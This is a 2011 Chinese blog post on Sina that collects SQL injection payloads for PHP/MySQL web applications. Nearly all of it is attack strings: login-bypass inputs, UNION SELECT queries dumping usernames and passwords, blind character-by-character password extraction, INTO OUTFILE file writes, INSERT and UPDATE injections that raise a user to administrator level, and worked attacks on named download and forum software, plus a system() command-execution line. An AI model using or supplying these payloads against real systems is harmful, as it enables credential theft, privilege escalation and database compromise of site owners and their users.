加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

关于php注入语句精华大集合

(2011-06-25 19:47:10)
标签:

it

分类: 安全
or '1=1 

'/* 

'# 

and password='mypass 

id=-1 union select 1,1,1 

id=-1 union select char(97),char(97),char(97) 

id=1 union select 1,1,1 from members 

id=1 union select 1,1,1 from admin 

id=1 union select 1,1,1 from user 

userid=1 and password=mypass 

userid=1 and mid(password,3,1)=char(112) 

userid=1 and mid(password,4,1)=char(97) 

and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) 

and LENGTH(password)='6(探测密码长度) 

and LEFT(password,1)='m 

and LEFT(password,2)='my 

…………………………依次类推 

union select 1,username,password from user/* 

union select 1,username,password from user/* 

=' union select 1,username,password from user/* (可以是1或者=后直接跟) 

99999' union select 1,username,password from user/* 

into outfile 'c:/file.txt (导出文件) 

=' or 1=1 into outfile 'c:/file.txt 

1' union select 1,username,password from user into outfile 'c:/user.txt 

select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt' 

id=' union select 1,username,password from user into outfile 

id=-1 union select 1,database(),version() (灵活应用查询) 

常用查询测试语句, 

select FROM table where 1=1 

select FROM table where 'uuu'='uuu' 

select FROM table where 1<>2 

select FROM table where 3>2 

select FROM table where 2<3 

select FROM table where 

select FROM table where 1+1 

select FROM table where 1--1 

select FROM table where ISNULL(NULL) 

select FROM table where ISNULL(COT(0)) 

select FROM table where IS NOT NULL 

select FROM table where NULL IS NULL 

select FROM table where BETWEEN AND 

select FROM table where 'b' BETWEEN 'a' AND 'c' 

select FROM table where IN (0,1,2) 

select FROM table where CASE WHEN 1>0 THEN END 

例如:夜猫下载系统1.0版本 

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 

id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码) 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) 

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 

………………………………………………………… 

例如2:灰色轨迹 变换id进行测试(meteor) 

union (select allowsmilies,public,userid,'0000-0-0',user(),version() FROM calendar_events where eventid = 13) order by eventdate 

union (select allowsmilies,public,userid,'0000-0-0',pass(),version() FROM calendar_events where eventid = 10) order by eventdate 

构造语句: 

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid union (select 1,1,1,1,1,1,1 from user where userid=1) 

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid union (select 1,1,1,1,username,password from user where userid=1) 

union (select 1,0,2,'1999-01-01','a',password FROM user where userid = 5) order by eventdate 

union (select 1,0,12695,'1999-01-01','a',password FROM user where userid=13465) order by eventdate 

union (select 1,0,12695,'1999-01-01','a',userid FROM user where username='sandflee') order by eventdate (查沙子的id) 

(select FROM table_name where a=10 AND B=1 orDER BY LIMIT 10) 

select FROM article where articleid='$id' union select FROM……(字段和数据库相同情况下,可直接提交) 

select FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下) 

特殊技巧:在表单,搜索引擎等地方写: 

"___" 

".__ 

"% 

%' orDER BY articleid/* 

%' orDER BY articleid# 

__' orDER BY articleid/* 

__' orDER BY articleid# 

$command "dir c:\";system($command); 

select FROM article where articleid='$id' 

select FROM article where articleid=$id 

1' and 1=2 union select from user where userid=1/* 句中变为 

(select FROM article where articleid='1' and 1=2 union select from user where userid=1/*') 

and 1=2 union select from user where userid=1 

语句形式:建立一个库,插入: 

create DATABASE `injection` 

create TABLE `user` 

`userid` int(11) NOT NULL auto_increment, 

`username` varchar(20) NOT NULL default '', 

`password` varchar(20) NOT NULL default '', 

PRIMARY KEY (`userid`) 



insert INTO `user` VALUES (1, 'swap', 'mypass'); 

插如一个注册用户: 

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 

"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; 

insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') 

"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; 

insert INTO membres SET login='',password='',nom='',userlevel='3',email='' 

"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; 

update user SET password='$password', homepage='$homepage' where id='$id' 

update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id' 

"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'"; 

update membres SET password='[PASS]',nom='',userlevel='3',email=' where id='[ID]' 

"update news SET Votes=Votes+1, score=score+$note where idnews='$id'"; 

长用函数: 

DATABASE() 

USER() 

SYSTEM_USER() 

SESSION_USER() 

CURRENT_USER() 

比如: 

update article SET title=$title where articleid=1 对应函数 

update article SET title=DATABASE() where id=1 

#把当前数据库名更新到title字段 

update article SET title=USER() where id=1 

#把当前 MySQL 用户名更新到title字段 

update article SET title=SYSTEM_USER() where id=1 

#把当前 MySQL 用户名更新到title字段 

update article SET title=SESSION_USER() where id=1 

#把当前 MySQL 用户名更新到title字段 

update article SET title=CURRENT_USER() where id=1 

#把当前会话被验证匹配的用户名更新到title字段 

$req "select FROM membres where name like '%$search%' orDER BY name"; 

select FROM membres where name like '%%' orDER BY uid#%' orDER BY name 

select FROM membres where name like '%%' orDER BY uid#%' orDER BY name 

select uid FROM admins where login='' or 'a'='a' AND password='' or 'a'='a' (经典) 

select uid FROM admins where login='' or admin_level=1#' AND password='' 

select FROM table where msg like '%hop' 

select uid FROM membres where login='Bob' AND password like 'a%'#' AND password='' 

select FROM membres where name like '%%' orDER BY uid#%' orDER BY name 

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有